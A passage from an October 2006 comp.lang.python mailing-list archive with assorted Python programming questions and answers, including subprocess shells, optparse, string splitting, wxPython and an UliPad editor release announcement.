-0700 "handful of nothing" wrote: > > IMHO, > > What I learned with the time and of course with books =) : > > Python gives you rapid turnaround. You can try different approaches and > archictetures to solve the problem in much faster way than you would > with C++. Yes, this is especially true of GUI programming. I can create a Tcl/Tk, *cross platform* GUI front end very rapidly and that GUI can be easily and quickly 'tweaked' as needed, again very rapidly. I guess a Python program could build and tweak a Python/Tk GUI as quickly. > > When you really need to crunch numbers, and numpy/othermodule is not > enough for you, then you would need to go down and optimize it in c++. > > So, the ability to change, re-create and try another strategy would be > a killer reason for me to use python (like I have in the past) for > games or sim apps. > > []s > Robert Heller wrote: > > At 17 Oct 2006 16:05:40 -0700 holly.woodland at gmail.com wrote: > > > > > > > > Hi All > > > > > > Apologies in advance for the pretty basic question - but I can't seem > > > to find an answer anywhere else. > > > > > > I am developing a fluid sim in C++ and have heard that many people use > > > Python in conjunction with C++ for this sort of thing (especially in > > > games dev). > > > > > > What I can't understand why you would want to do this. Obviously the > > > core would be written in C++ (for my purposes anyway) so what parts > > > would be written in Python? What is the benefit, in this situation, of > > > using Python instead of C++? > > > > > > thanks for your help > > > > If they were using Python/Tk to develop a GUI, it makes sense (although > > I would use Tcl/Tk, being a Tcl fan). In either case, SWIG can generate > > the interface between C/C++ and Python/Tcl. > > > > > > > > Holly > > > > > > > > > > -- > > Robert Heller -- 978-544-6933 > > Deepwoods Software -- Linux Installation and Administration > > http://www.deepsoft.com/ -- Web Hosting, with CGI and Database > > heller at deepsoft.com -- Contract Programming: C/C++, Tcl/Tk > > -- Robert Heller -- 978-544-6933 Deepwoods Software -- Linux Installation and Administration http://www.deepsoft.com/ -- Web Hosting, with CGI and Database heller at deepsoft.com -- Contract Programming: C/C++, Tcl/Tk From ziga.seilnacht at gmail.com Sat Oct 7 05:49:21 2006 From: ziga.seilnacht at gmail.com (Ziga Seilnacht) Date: 7 Oct 2006 02:49:21 -0700 Subject: Dumping the state of a deadlocked process References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> Message-ID: <1160214561.482361.205240@h48g2000cwc.googlegroups.com> andre.naess at gmail.com wrote: > Hi all > > I'm currently having some issues with a process getting deadlocked. The > problem is that the only way I can seem to find information about where > it deadlocks is by making a wild guess, insert a pdb.set_trace() before > this point, and then step until it locks up, hoping that I've guessed > right. > > The frustrating part is that most of the time my guesses are wrong. > > It would be really nice if I could send the python process some signal > which would cause it to print the current stacktrace and exit > immediately. That way I would quickly be able to pinpoint where in the > code the deadlock happens. Java has a somewhat similar feature where > you can send a running VM process a SIGQUIT, to which it will respond > by dumping all current threads and lots of other information on stdout. > > Is this possible somehow? Check out the sys._current_frames() function, new in Python 2.5: http://docs.python.org/lib/module-sys.html#l2h-5122 Hope this helps, Ziga From limodou at gmail.com Mon Oct 9 03:52:39 2006 From: limodou at gmail.com (limodou) Date: Mon, 9 Oct 2006 15:52:39 +0800 Subject: ANN:UliPad 3.4 Release Message-ID: What's it? ======== It's an Editor based on wxPython. NewEdit is the old name, and UliPad is the new name. UliPad uses Mixin and Plugin technique as its architecture. Most of its classes can be extended via mixin and plugin components, and finally become an integrity class at creating the instance. So UliPad is very dynamic. You can write the new features in new files, and hardly need to modify the existing code. And if you want to extend the existing classes, you could write mixins and plugins, and this will be bound to the target class that I call "Slot Class". This technique will make the changes centralized and easily managed. What's new in 3.4 ============== * Bug fix * Notebook control changed to FlatNotebook * Ctrl+Enter can directly add new line, just like(End+Enter) * jQuery support: project setup, auto create comments for functions * Creating django app's dot file, and see the image in a window * Multi view of document * Commands searching and impact mode * ReStructuredText support: project setup, syntax highlight, html view and auto update * Django Template syntax highlight * ctags support * move python syntax check plugin into core * Auto syntax highlight bind and auto-complete file bind in _project Where to download it? ================ download lastest version 3.4: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad_3.4.zip also have windows installer: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad3.4.exe wiki: http://wiki.woodpecker.org.cn/moin/UliPad svn: http://cvs.woodpecker.org.cn/svn/woodpecker/ulipad/trunk maillist: http://groups.google.com/group/ulipad If you have any problem as using UliPad, welcome to join the UliPad maillist to discuss. What are its features? ================ * Cross platform * based on wxPython, so it can run anywhere that wxPython works, such as: Windows, Linux. * Unicode support. * Most features of wxStyledTextCtrl(Scintilla) * Syntax highlighting, support Python, c/c++, html, django template, restructured text, ruby, perl, css, javascript, plain text * Folding * Brace Matching * ... * Extended selection * Extended word selection -- You can press Ctrl+?MouseDoubleClick to select a word including '.' * Matched selection -- Select text in quoted chars like: (), [], {}, '', "". * For example: a string just like:: def func(self, 'This is a test'): ^ The '^' char represents caret position in above line. If you press Ctrl+E, you will select the whole text in (), i.e. "self, 'This is a test'". Something more in Selection Menu. * Other editing extension * Duplicating text -- Just like Vim Ctrl+V, Ctrl+P, and more. You can duplicate above or below char, word, line * which match the leading chars. * Quoting text -- Add some quoted chars before and after selected text, just as: "", '', (), [], {}, and * customized string, etc. * Text convertion and view -- python -> html, reStructured Text -> html, textile -> html, and you can output or view * the html text in message window, or html view window, or replace the selected text. * Utf-8 encoding auto detect * Changing document encoding * Auto backup * Last session support -- It'll save all the filenames as closed, and reopen the files as next started. * Smart judge the indent char -- It'll auto guess the indent char, and sets it. * Finding in files * Bookmark support * Python support * built-in python interactive window based on PyShell, support Unicode * Auto completion * Function syntax calltips * Run, run with argument, stop python source * Auto change current path * Python class browser * Syntax check * Code snippets * You can manage your code snippets with categories, and each category can have many items. Every item will represent a code snippet. You can insert an item just by double-clicking on it. It even supports importing and exporting. * Simple project support * Can create a special file _project, so every file and folder under the folder which has the _project can be considered as a whole project. * Extension mechanism * Script -- You can write easy script to manipulate the all resource of UliPad(NewEdit), just like: text conversion, etc. * Plugin -- Customized function. More complex but more powerful. Can easily merge with UliPad(NewEdit), and can be * managed via menu. * Shell command -- Add often used shell commands, and execute them. * Ftp support * You can edit remote files through ftp. You can add, rename, delete, upload, download file/directory. * Multilanguage support * Currently supports two languages: English and Chinese, which can be auto-detected. * Shipped many plugins(must be configed as used them before) * djangoproj -- user for django development * Shipped scripts * You can find them at UliPad/scripts directory * Wizard * You can make your own wizard template. The wizard can input user data, combine with template, and output the result. And wizard also support code framework created. This feature will help you improving coding efficiency. * Direcotry Browser * Browse multiple directories, and you can really add, delete, rename directories and files. Double click will open the file in Editor window. * Input Assistant * Suport user autocomplete file, it can help to input code very helpful and functional. Just like EditPlus, but may be more powerful. * Column Editing Mode * You can select multilines, and then set a column mode region, so in any line of this region, if you enter a character, other lines will also add this character. If you want to deal with multilines as a similar mode, this functionality will be very handy. Hope fun! -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From theller at python.net Fri Oct 6 15:03:33 2006 From: theller at python.net (Thomas Heller) Date: Fri, 06 Oct 2006 21:03:33 +0200 Subject: News on versions modules for Python-2.5? In-Reply-To: <45269df8$0$25949$ba4acef3@news.orange.fr> References: <45269df8$0$25949$ba4acef3@news.orange.fr> Message-ID: M?ta-MCI schrieb: > Hi, all! > > > Any news, on release Python-2.5 for many modules/lib? > Some exemples: > > Console (Effbot) > SciPy > Iconvcodec > DirectPython > SendKeys > Dislin > PyGame > Twain > etc. > > > And who can confirm that these modules are independent of Python version? > > ReportLab > Pyrex > ComTypes > PythonNet > Gmpy > Kodos > Candygram > Venster > etc. comtypes and venster to not contain any C code, so changes are good that they work in Python 2.5 as well. AFAIK, venster still uses the no longer supported ctypes.com package, it should be updated to use comtypes instead. Thomas From grante at visi.com Mon Oct 16 15:30:11 2006 From: grante at visi.com (Grant Edwards) Date: Mon, 16 Oct 2006 19:30:11 -0000 Subject: How to send E-mail without an external SMTP server ? References: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> <1160984719.088664.76350@e3g2000cwe.googlegroups.com> Message-ID: <12j7ne3453jlaef@corp.supernews.com> On 2006-10-16, Dennis Lee Bieber wrote: > On Mon, 16 Oct 2006 17:04:19 +0800, "fdu.xiaojf at gmail.com" > declaimed the following in comp.lang.python: > >> >> Yes, I want to find a way to send email without an external smtp server. >> > You're going to have to hit an SMTPd somewhere along > the route... Many moons ago it was easy to connect directly to > the recipient's mail server (and even easier to grab any > server one could find, to send mail to any address). But those were smtp servers, so I don't see you the OP could have accomplished his goal unless you set the wayback machine to pre-Internet days and use the uucp transport mechanism. > In closing down these "open relays" to block spammers, many > SMTPd's are now configured to accept "outgoing" mail only from > hosts that are part of the local network, and to accept > "incoming" mail only if the recipient is a member of the local > network. Hence, most client programs are now configured to > connect to the local ISP server to relay mail. That local ISP server is also an smtp server. I haven't heard of anybody accepting vail via uucp for at least 10 years. I'm not saying that such hosts don't exist, but that they're pretty darned rare. -- Grant Edwards grante Yow! Today, THREE WINOS at from DETROIT sold me a visi.com framed photo of TAB HUNTER before his MAKEOVER! From cameron.walsh at gmail.com Fri Oct 27 00:03:31 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Fri, 27 Oct 2006 12:03:31 +0800 Subject: How to Split Chinese Character with backslash representation? In-Reply-To: References: Message-ID: Wijaya Edward wrote: > Hi all, > > I was trying to split a string that > represent chinese characters below: > > >>>> str = '\xc5\xeb\xc7\xd5\xbc' >>>> print str2, > ??? >>>> fields2 = split(r'\\',str) >>>> print fields2, > ['\xc5\xeb\xc7\xd5\xbc'] > > But why the split function here doesn't seem > to do the job for obtaining the desired result: > > ['\xc5','\xeb','\xc7','\xd5','\xbc'] > Depends on what you want to do with them: >>> string = '\xc5\xeb\xc7\xd5\xbc' >>> for char in string: print char ? ? ? ? ? >>> list_of_characters = list(string) >>> list_of_characters ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc'] >>> for char in string: char '\xc5' '\xeb' '\xc7' '\xd5' '\xbc' >>> for char in list_of_characters: print char ? ? ? ? ? >>> string[3] '\xd5' >>> string[1:3] '\xeb\xc7' Basically, you characters are already separated into a list of characters, that's effectively what a string is (but with a few more methods applicable only to lists of characters, not to other lists). From mike$#at^&nospam!%trauschus Sun Oct 22 00:34:14 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Sun, 22 Oct 2006 00:34:14 -0400 Subject: Attempting to parse free-form ANSI text. Message-ID: Alright... I am attempting to find a way to parse ANSI text from a telnet application. However, I am experiencing a bit of trouble. What I want to do is have all ANSI sequences _removed_ from the output, save for those that manage color codes or text presentation (in short, the ones that are ESC[#m (with additional #s separated by ; characters). The ones that are left, the ones that are the color codes, I want to act on, and remove from the text stream, and display the text. I am using wxPython's TextCtrl as output, so when I "get" an ANSI color control sequence, I want to basically turn it into a call to wxWidgets' TextCtrl.SetDefaultStyle method for the control, adding the appropriate color/brightness/italic/bold/etc. settings to the TextCtrl until the next ANSI code comes in to alter it. It would *seem* easy, but I cannot seem to wrap my mind around the idea. :-/ I have a source tarball up at http://fd0man.theunixplace.com/Tmud.tar which contains the code in question. In short, the information is coming in over a TCP/IP socket that is traditionally connected to with a telnet client, so things can be broken mid-line (or even mid-control sequence). If anyone has any ideas as to what I am doing, expecting, or assuming that is wrong, I would be delighted to hear it. The code that is not behaving as I would expect it to is in src/AnsiTextCtrl.py, but I have included the entire project as it stands for completeness. Any help would be appreciated! Thanks! -- Mike From odalrick at hotmail.com Fri Oct 20 18:15:27 2006 From: odalrick at hotmail.com (Odalrick) Date: 20 Oct 2006 15:15:27 -0700 Subject: Selecting sub-images with wxPython Message-ID: <1161382527.384096.253550@i3g2000cwc.googlegroups.com> I have an image displayed with wxPython and I need to let the user designate an area of that image. Something like a rectangle you can move and resize with the mouse, the exact details aren't important. So I'm wondering if there is an easy way to do this, or will I have to muck about with custom paintjobs? Currently I'm using wx.lib.statbmp.GenStaticBitmap to display the image, but that has me a little worried because I can't find any documentation on it. The only reference was in an example that helped me with another problem I had. Grateful for any help. /Odalrick From fredrik at pythonware.com Wed Oct 11 04:15:05 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 10:15:05 +0200 Subject: PyDoc and mod_python In-Reply-To: <452CA695.60205@gmail.com> References: <452CA695.60205@gmail.com> Message-ID: durumdara wrote: > I need to write documentation for my mod_python website, for the base > classes, functions, modules. > The problem, that mod_python is imported "apache" that not existing in > the normal, pythonic way (only in Apache). > problem in c:\test.py - ImportError: No module named _apache > > So I need a cheat, or I need to force the pydoc to avoid to parse these > modules... > > Is anybody have an experience, how can I do it ? add a stub module, or switch to a documentation tool that uses source code inspection. From onurb at xiludom.gro Mon Oct 16 05:23:52 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 16 Oct 2006 11:23:52 +0200 Subject: python's OOP question In-Reply-To: <1160969393.803021.274070@e3g2000cwe.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> Message-ID: <45334fa9$0$5656$426a74cc@news.free.fr> neoedmund wrote: (*PLEASE* stop top-posting - corrected) > > Ben Finney wrote: >> [Please don't top-post above the text to which you're replying.] >> >> "neoedmund" writes: >> >>> I'm trying to achieve a higher level of "reusability". Maybe it >>> cannot be done in python? Can anybody help me? >> What, specifically, are you trying to achieve? What problem needs >> solving? > python use multiple inheritance. > but "inheritance" means you must inherite all methods from super type. > now i just need "some" methods from one type and "some" methods from > other types, to build the new type. > Do you think this way is more flexible than tranditional inheritance? While dynamically adding attributes (and methods - which are attributes too) is not a problem, I'd second Gregor's anwser : it might be better to use composition/delegation here. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From Benjamin.Barker at gmail.com Sun Oct 8 08:54:25 2006 From: Benjamin.Barker at gmail.com (Ben) Date: 8 Oct 2006 05:54:25 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> Message-ID: <1160312065.656400.275770@k70g2000cwa.googlegroups.com> ...and when I print out the string, it is still formatted as one would expect a list to be: "['01', '02', '03', '04']" Ben wrote: > Ah... my list is a string. That explains the len() results, but not why > it is a string in the dirst place. > > I have a dictionary containing a number of instances of the following > class as values: > > class panel: > mops =[] > > def __init__(self,number,level,location,mops,matrix): > self.number=number > self.level=level > self.location=location > self.mops=mops > self.matrix=matrix > > > abve mops is a list, yet when I access it it is a string... > > > > Fredrik Lundh wrote: > > Ben wrote: > > > > > The output from this would be (for a given key value): > > > Number: 181 > > > Level: ovride+supvis > > > Location: mons=4 v8.0 3rd floor > > > MOPS: ['287', '288', '289', '290'] > > > List Length: 28 > > > Matrix: kng > > > > > > This is really odd...my len(v.mops) ought to return 4 (4 elements in > > > the list). > > > > adding a > > > > print type(v.mops), repr(v.mops) > > > > debug statement might provide you with the clues you need. > > > > > In fact it returns 28. looking at outputs from lots of > > > records, it seems that the length is almost always 7 time too great > > > (28/7=4)....but not always. > > > > >>> len("['287',") > > 7 > > >>> len(" '288',") > > 7 > > >>> len(" '289',") > > 7 > > >>> len(" '290']") > > 7 > > > > From gabrielg_laburando at yahoo.com.ar Tue Oct 3 21:11:47 2006 From: gabrielg_laburando at yahoo.com.ar (Gabriel G) Date: Tue, 03 Oct 2006 22:11:47 -0300 Subject: PEP 358 and operations on bytes In-Reply-To: <87k63gj41g.fsf@benfinney.id.au> References: <20061003172441.GA28391@topjaklont.student.utwente.nl> <87k63gj41g.fsf@benfinney.id.au> Message-ID: <7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar> At Tuesday 3/10/2006 21:52, Ben Finney wrote: >Gerrit Holl writes: > > > operations that aren't currently defined in PEP 358, like: > > > > - str methods endswith, find, partition, replace, split(lines), > > startswith, > > - Regular expressions > > > > I think those can be useful on a bytes type. Perhaps bytes and str > > could share a common parent class? They certainly share a lot of > > properties and possible operations one might want to perform. > >Looking at those, I don't see why they wouldn't be useful for *all* >sequence types. Perhaps there needs to be a 'seq' type containing >those common methods, that is the superclass of 'str', 'bytes', >'list', 'tuple' et cetera. find() could be useful sometimes. But what means partition, replace, split, etc on a generic sequence? Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From insideview at gmail.com Thu Oct 12 18:36:50 2006 From: insideview at gmail.com (insideview at gmail.com) Date: 12 Oct 2006 15:36:50 -0700 Subject: Installing Python 2.3.5 - get "need administrator access" to install error..... Message-ID: <1160692610.181692.24050@h48g2000cwc.googlegroups.com> Hi there - when attempting to install Python 2.3.5, I receive the following message -- "You do not have access to make the required system configuration modifications." Please rerun this installation from an administrators account. I am running Windows XP in administrator mode, and have installed versions 4 & 5 with no problems today. What could be hanging this older versions installation up? From clodoaldo.pinto at gmail.com Mon Oct 16 20:28:11 2006 From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto) Date: 16 Oct 2006 17:28:11 -0700 Subject: Output from subprocess.Popen() References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> <1161033460.506489.96820@b28g2000cwb.googlegroups.com> Message-ID: <1161044891.272758.88420@h48g2000cwc.googlegroups.com> Fredrik Lundh wrote: > sjdevnull at yahoo.com wrote: > > > I can't see any obvious way to ask subprocess to use a shell other than > > the default. > > -c ? > > >>> f = Popen(["/bin/bash", "-c", "set|grep IFS"], stdout=PIPE) > >>> f.stdout.read() > "IFS=$' \\t\\n'\n" > >>> f = Popen(["/bin/sh", "-c", "set|grep IFS"], stdout=PIPE) > >>> f.stdout.read() > "IFS=' \t\n" It solves my problem: >>> f = sub.Popen(['/bin/sh', '-c', 'set|grep IFS'], stdout=sub.PIPE) >>> f.stdout.read() "BASH_EXECUTION_STRING='set|grep IFS'\nIFS=' \t\n" >>> f = sub.Popen(['/bin/bash', '-c', 'set|grep IFS'], stdout=sub.PIPE) >>> f.stdout.read() "BASH_EXECUTION_STRING='set|grep IFS'\nIFS=$' \\t\\n'\n" But I still don't understand what is happening. The manual says that when shell=True the executable argument specifies which shell to use: >>> f = sub.Popen('set|grep IFS', shell=True, executable='/bin/sh', stdout=sub.PIPE) >>> f.stdout.read() "BASH_EXECUTION_STRING='set|grep IFS'\nIFS=' \t\n" >>> f = sub.Popen('set|grep IFS', shell=True, executable='/bin/bash', stdout=sub.PIPE) >>> f.stdout.read() "BASH_EXECUTION_STRING='set|grep IFS'\nIFS=' \t\n" To make my confusion bigger, in Fedora sh is just a link to bash: $ ll /bin/*sh -rwxr-xr-x 1 root root 720888 Feb 11 2006 /bin/bash lrwxrwxrwx 1 root root 4 Aug 28 22:53 /bin/csh -> tcsh -rwxr-xr-x 1 root root 1175496 Aug 17 13:19 /bin/ksh lrwxrwxrwx 1 root root 4 Feb 24 2006 /bin/sh -> bash -rwxr-xr-x 1 root root 349312 Aug 17 15:20 /bin/tcsh -rwxr-xr-x 1 root root 514668 Feb 12 2006 /bin/zsh From steven.bethard at gmail.com Sat Oct 14 12:39:25 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 14 Oct 2006 10:39:25 -0600 Subject: optparse: add trailing text in help message? In-Reply-To: References: Message-ID: Count L?szl? de Alm?sy wrote: > Is there a standard way with optparse to include a blurb of text after > the usage section, description, and the list of options? This is > often useful to include examples or closing comments when the help > message is printed out. Many of the GNU commands do this. > > It would look something like this: > > % program --help > > usage: program [options] > > This is my description text. > > options: > -f BAR, --foo=BAR > A sample option > --version show program's version number and exit > --help show this help message and exit > > ==> Now how about closing text after the options list? What would you like this API to look like? I could add this pretty easily to argparse_ this week. Maybe something like:: parser = argparse.ArgumentParser( description='This is my ...', tail='Now how about closing ...' ) Or is there another API that would be better? .. _argparse: http://argparse.python-hosting.com/ STeVe From jon+usenet at unequivocal.co.uk Tue Oct 3 07:17:23 2006 From: jon+usenet at unequivocal.co.uk (Jon Ribbens) Date: 3 Oct 2006 11:17:23 GMT Subject: Raw strings and escaping References: Message-ID: In article , Matthew Warren wrote: > I would expect this to work, > > rawstring=r'some things\new things\some other things\' > > But it fails as the last backslash escapes the single quote. String constants in Python are weird - raw strings doubly so. In a raw string, backslashes are not special - unless followed by a quote character, when they simultaneously escape the quote and also insert a literal backslash. I presume there was originally some reason for this bizarre behaviour - it'd be interesting to know what it is/was, if anyone knows? From maxerickson at gmail.com Thu Oct 19 12:45:20 2006 From: maxerickson at gmail.com (Max Erickson) Date: Thu, 19 Oct 2006 16:45:20 +0000 (UTC) Subject: wxPython help wxSashWindow References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com> <30MZg.115$1n3.3329@news.tufts.edu> <1161268929.535719.288640@m73g2000cwd.googlegroups.com> Message-ID: "MatthewWarren" wrote: > > Thanks, is that a newsgroup I can view through google groups? I > tried seraching for it but google says no.. > > And I'll give that list a subscribe. > > I have found a wxPython google group, but only 11 members and a > handfull of posts in a year... > Gmane archives many mailing lists and also allows access to the lists through a news server gateway(news.gmane.org). Posting throught the news gateway is allowed for many groups(including this one), but not all. For more information and web access to the archives, visit http://gmane.org. max From horpner at yahoo.com Wed Oct 25 16:14:26 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Wed, 25 Oct 2006 20:14:26 GMT Subject: Any way of adding methods/accessors to built-in classes? References: <1161805976.550980.35930@i42g2000cwa.googlegroups.com> Message-ID: On 2006-10-25, bearophileHUGS at lycos.com wrote: > Kenneth McDonald: >> not being able to do things like '[1,2,3]'.length >> drives me a little nuts. > > This is interesting, why? > (In a computer language too much purity is often bad. And isn't > [1,2,3].len better?) > > I think you can't add methods to Python builtin classes, I > think you can do it with Ruby. You can create derived versions of builtins with new methods (which affords the benefits of modifying builtins), but you can't change the type of a Python literal. So the above would be MyList([1,2,3]).len -- Neil Cerutti From ben.hamilton at gmail.com Mon Oct 30 08:18:42 2006 From: ben.hamilton at gmail.com (ben.hamilton at gmail.com) Date: 30 Oct 2006 05:18:42 -0800 Subject: What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> Message-ID: <1162214321.979362.146770@i42g2000cwa.googlegroups.com> This is the answer Linux ------------------------------- BOA constructor Eric (the best for python I think it has cool subversion support better than emacs for non f4cmd67-b jockies emacs sucks anyway you look at it and lisp is a terrible terrible bad joke unless you are gondi) oh and some other tool for python glade/gtk widgetmaroo Mac ------------------------------ Xcode of course TextMate Windows ---------------------------- who cares Personally Eric3 wins for general purpose python code look it up why did no one mention the best one? done Neil Cerutti wrote: > On 2006-10-26, John Salerno wrote: > > Hakusa at gmail.com wrote: > >> as I have yet to try Vim - maybe I'll try tomarrow. > > > > Warning: Vim isn't something you just "try tomorrow" :) > > You can become proficient enough for basic editing in about 20 > minutes with the built-in tutorial. > > Getting it to work seemlessly with Python code will take > considerably longer. > > -- > Neil Cerutti From bignose+hates-spam at benfinney.id.au Sun Oct 29 18:08:09 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Mon, 30 Oct 2006 10:08:09 +1100 Subject: enumerate improvement proposal References: Message-ID: <873b96bu06.fsf@benfinney.id.au> James Stroud writes: > Fredrik Lundh wrote: > > why is it this function's job to add an offset to the actual > > sequence index? > > The code is for an economist. She is insistent on starting with the > first bin as 1. Note that 'enumerate' is actually a built-in type, and 'enumerate()' is the constructor returning a new object of that type. A special case isn't special enough to change the built-in type. >>> print enumerate("ABCDE") >>> print list(enumerate("ABCDE")) [(0, 'A'), (1, 'B'), (2, 'C'), (3, 'D'), (4, 'E')] >> def obstinate_economist_enumerate(items): ... seq = [(i+1, x) for (i, x) in enumerate(items)] ... return iter(seq) ... >>> print obstinate_economist_enumerate("ABCDE") >>> print list(obstinate_economist_enumerate("ABCDE")) [(1, 'A'), (2, 'B'), (3, 'C'), (4, 'D'), (5, 'E')] This doesn't produce an 'enumerate' object; if you really want that, you could subclass 'enumerate', but it seems the above function does what you want. -- \ "I installed a skylight in my apartment. The people who live | `\ above me are furious!" -- Steven Wright | _o__) | Ben Finney From mike$#at^&nospam!%trauschus Thu Oct 26 12:02:12 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Thu, 26 Oct 2006 12:02:12 -0400 Subject: Debugging/Networking ?s. Message-ID: I am having a little bit of trouble figuring out what to do about a problem that I am having with the program I am working with. I had it working yesterday, and up through till this morning. I hadn't thought about putting it in version control until now, so whatever it was I did, I can't just hit a revert button... that'll teach me. :-) Anyway, it opens a socket, and is capable of fetching the first output from it and displaying it in the TextCtrl that it is using. It also says that it is successfully sending what is typed, be it an alias for something else, or a straight command that needs to be sent. However, after the initial text is received, it says that it doesn't receive anymore. I would believe that, if I could duplicate it with a known working program (such as telnet)... but, I can't. The server that I am working with is working perfectly fine -- e.g., it is replying just as it should be. However, it is also not detecting any problem with the socket, either. :-/ The code is at http://fd0man.theunixplace.org/Tmud.tar.gz and if someone could give me some insight as to what I might be doing wrong in PlayWindow.py, method CheckAndProcessGameOutput, that would be wonderfully appreciated. I am out of ideas, myself. It never comes up with error, and never says that the socket is ready, either (using select.select()). Beware that the code isn't likely to be very pretty -- I am not an experienced programmer. Even some of the ideas I got from the ANSI thread are likely to look not so pretty, because I probably mangled a lot of that, too, though, it *was* working. The only thing that irritates me is that the changes I have been working on today have all been in the SendOut method in PlayWindow.py, which should have no bearing on CheckAndProcessGameOutput, so I don't know what really caused it to stop working. Thanks in advance for any assistance! -- Mike From maxerickson at gmail.com Fri Oct 20 08:58:01 2006 From: maxerickson at gmail.com (Max Erickson) Date: Fri, 20 Oct 2006 12:58:01 +0000 (UTC) Subject: list comprehension (searching for onliners) References: <4538C09E.2040408@fmed.uba.ar> Message-ID: Gerardo Herzig wrote: > Hi all: I have this list thing as a result of a db.query: (short > version) result = [{'service_id' : 1, 'value': 10}, > {'service_id': 2, 'value': 5}, > {'service_id': 1, 'value': 15}, > {'service_id': 2, 'value': 15}, > ] > > and so on...what i need to do is some list comprehension that > returns me something like > > result = [ > { > 'service_id' : 1, 'values': [ {'value': 10}, > {'value': 15}] > }, > { > 'service_id' : 2, 'values': [ {'value': 5}, > {'value': 15}] > } > > > My problem now is i cant avoid have "repeteated" entries, lets > say, in this particular case, 2 entries for "service_id = 1", and > other 2 for "service_id =2". > Ill keeping blew off my hair and drinking more cofee while > searching for this damn onliner im looking for. > > Thanks dudes. > Gerardo Is three lines ok? >>> output=dict() >>> for record in result: output.setdefault(record['service_id'], list()).append(record ['value']) >>> output {1: [10, 15], 2: [5, 15]} >>> Creating the more verbose output that you specified should be pretty straighforward from there. max From bignose+hates-spam at benfinney.id.au Sat Oct 7 21:14:21 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sun, 08 Oct 2006 11:14:21 +1000 Subject: Names changed to protect the guilty References: <877izb1vwe.fsf@pobox.com> Message-ID: <87y7rrbocy.fsf@benfinney.id.au> jjl at pobox.com (John J. Lee) writes: > aahz at pythoncraft.com (Aahz) writes: > > if schema.elements.has_key(key) is False: > > I think I was reading the same code recently (epydoc?) and was also > momentarily horrified ;-) until I realized that it was quite > deliberately using three-valued logic (True, False, None) for some > presumably-sensible reason. Apparently a reason unrelated to dict.has_key, which is documented as returning only True or False, never None. -- \ "Welchen Teil von 'Gestalt' verstehen Sie nicht? [What part of | `\ 'gestalt' don't you understand?]" -- Karsten M. Self | _o__) | Ben Finney From skip at pobox.com Mon Oct 9 14:30:09 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 9 Oct 2006 13:30:09 -0500 Subject: Python component model In-Reply-To: References: Message-ID: <17706.38193.993711.733239@montanaro.dyndns.org> Edward> The definition of a component model I use below is a class which Edward> allows properties, methods, and events in a structured way which Edward> can be recognized, usually through some form of introspection Edward> outside of that class. This structured way allows visual tools Edward> to host components, and allows programmers to build applications Edward> and libraries visually in a RAD environment. ... Edward> I believe that Python should have a common components model for Edward> all RAD development environments, as that would allow the Python Edward> programmer to create a set of classes representing components Edward> which would work in any environment. Having never used java or .NET I'm not sure what you're looking for. Does Python's current introspection not work? Is it someone too unstructured (whatever "structured" means)? Can you give a simple example? Skip From gagsl-py at yahoo.com.ar Fri Oct 27 18:08:22 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 27 Oct 2006 19:08:22 -0300 Subject: Cards deck problem In-Reply-To: References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> Message-ID: <7.0.1.0.0.20061027184609.05f31e68@yahoo.com.ar> At Friday 27/10/2006 00:48, Michael Naunton wrote: >It is clear your professor does not understand computer science. Switch >to a new university now. > >As noted in the problem, a deck has 52 cards. cardsLeft(self) therefore >always returns 52. > >This may seem pendantic, but CS is mostly about thinking about (and thus >naming) things clearly. Find someone who does. Uhm, maybe it's a matter of language, but how do you name the pile of cards remaining to be dealt once the game begins? At least in Argentina, it's called the same ("mazo") as the full, original, set of cards. The "remaining cards" interpretation for "deck" would be consistent with the required interfase: shuffle, dealCard, cardsLeft... > > shuffle(self) - Randomizes the order of the cards > > dealCard(self) - Returns a single card from the top of the deck, and > > removes the card from the deck. > > cardsLeft(self) - Returns the number of cards left in the deck. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From tjreedy at udel.edu Wed Oct 11 23:20:04 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 11 Oct 